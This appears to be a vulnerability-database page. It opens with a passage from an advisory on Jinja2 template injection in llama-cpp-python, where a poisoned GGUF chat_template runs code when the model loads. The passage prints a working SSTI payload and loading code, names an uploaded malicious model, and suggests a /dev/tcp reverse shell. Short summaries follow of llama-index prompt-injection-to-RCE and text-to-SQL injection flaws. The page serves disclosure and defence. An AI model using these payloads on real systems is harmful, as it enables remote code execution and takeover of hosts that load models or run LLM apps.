allowing RCEs or Denial-of-Service since jinja2's renderer evaluates embed codes like eval(), and we can utilize expose method by exploring the attribution such as __globals__, __subclasses__ of pretty much anything. `python def __call__( self, , messages: List[llama_types.ChatCompletionRequestMessage], functions: Optional[List[llama_types.ChatCompletionFunction]] = None, function_call: Optional[llama_types.ChatCompletionRequestFunctionCall] = None, tools: Optional[List[llama_types.ChatCompletionTool]] = None, tool_choice: Optional[llama_types.ChatCompletionToolChoiceOption] = None, *kwargs: Any, ) -> ChatFormatterResponse: def raise_exception(message: str): raise ValueError(message) prompt = self._environment.render( # rendered! messages=messages, eos_token=self.eos_token, bos_token=self.bos_token, raise_exception=raise_exception, add_generation_prompt=self.add_generation_prompt, functions=functions, function_call=function_call, tools=tools, tool_choice=tool_choice, ) ` Exploiting For our exploitation, we first downloaded qwen1_5-0_5b-chat-q2_k.gguf of Qwen/Qwen1.5-0.5B-Chat-GGUF on huggingface as the base of the exploitation, by importing the file to Hex-compatible editors (In my case I used the built-in Hex editor or vscode), you can try to search for key chat_template (imported as template = self.metadata["tokenizer.chat_template"] in llama-cpp-python): <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405021808647.png" alt="image-20240502180804562" style="zoom: 25%;" /> qwen1_5-0_5b-chat-q2_k.gguf appears to be using the OG role+message and using the fun jinja2 syntax. By first replacing the original chat_template in \x00, then inserting our SSTI payload. We constructed this payload which firstly iterates over the subclasses of the base class of all classes in Python. The expression ().__class__.__base__.__subclasses__() retrieves a list of all subclasses of the basic object class and then we check if its warning by if "warning" in x.__name__, if it is , we access its module via the _module attribute then access Python's built-in functions through __builtins__ and uses the __import__ function to import the os module and finally we called os.popen to touch /tmp/retr0reg, create an empty file call retr0reg under /tmp/ `python {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__'__import__'.popen("touch /tmp/retr0reg")}}{%endif%}{% endfor %} ` in real life exploiting instance, we can change touch /tmp/retr0reg into arbitrary codes like sh -i >& /dev/tcp/<HOST>/<PORT> 0>&1 to create a reverse shell connection to specified host, in our case we are using touch /tmp/retr0reg to showcase the exploitability of this vulnerability. <img src="https://raw.githubusercontent.com/retr0reg/0reg-uploads/main/img/202405022009159.png" alt="image-20240502200909127" style="zoom:50%;" /> After these steps, we got ourselves a malicious model with an embedded payload in chat_template of the metahead, in which will be parsed and rendered by llama.py:class Llama:init -> self.chat_handler -> llama_chat_format.py:Jinja2ChatFormatter:init -> self._environment = jinja2.Environment( -> llama_chat_format.py:Jinja2ChatFormatter:call -> self._environment.render( (The uploaded malicious model file is in https://huggingface.co/Retr0REG/Whats-up-gguf )* ``python from llama_cpp import Llama Loading locally: model = Llama(model_path="qwen1_5-0_5b-chat-q2_k.gguf") Or loading from huggingface: model = Llama.from_pretrained( repo_id="Retr0REG/Whats-up-gguf", filename="qwen1_5-0_5b-chat-q2_k.gguf", verbose=False ) print(model.create_chat_completion(messages=[{"role": "user","content": "what is the meaning of life?"}])) ` Now when the model is loaded whether as Llama.from_pretrained or Llama and chatted, our malicious code in the chat_template of the metahead` will be triggered and execute arbitrary code. PoC video here: https://drive.google.com/file/d/1uLiU-uidESCs_4EqXDiyKR1eNOF1IUtb/view?usp=sharing

2 rules

python-jose algorithm confusion with OpenSSH ECDSA keys

python-jose through 3.3.0 has algorithm confusion with OpenSSH ECDSA keys and other key formats. This is similar to CVE-2022-29217.

OWASP A02OWASP Web
Get guardrail →
2 rules

llama-index-core Command Injection vulnerability

A command injection vulnerability exists in the run-llama/llama_index repository, specifically within the safe_eval function. Attackers can bypass the intended security mechanism, which checks for the presence of underscores in code generated by LLM, to execute arbitrary code. This is achieved by crafting input that does not contain an underscore but still results in the execution of OS commands. The vulnerability allows for remote code execution (RCE) on the server hosting the application.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →
2 rules

llama-index-core Prompt Injection vulnerability leading to Arbitrary Code Execution

A vulnerability was identified in the exec_utils class of the llama_index package, specifically within the safe_eval function, allowing for prompt injection leading to arbitrary code execution. This issue arises due to insufficient validation of input, which can be exploited to bypass method restrictions and execute unauthorized code. The vulnerability is a bypass of the previously addressed CVE-2023-39662, demonstrated through a proof of concept that creates a file on the system by exploiting the flaw.

OWASP A03LLM01 · Prompt InjectionOWASP LLM
Get guardrail →
2 rules

SQL injection in llama-index

LlamaIndex (aka llama_index) through 0.9.35 allows SQL injection via the Text-to-SQL feature in NLSQLTableQueryEngine, SQLTableRetrieverQueryEngine, NLSQLRetriever, RetrieverQueryEngine, and PGVectorSQLQueryEngine. For example, an attacker might be able to delete this year's student records via "Drop the Students table" within English language input.

OWASP A03OWASP LLM
Get guardrail →

Showing 120 of 44 threats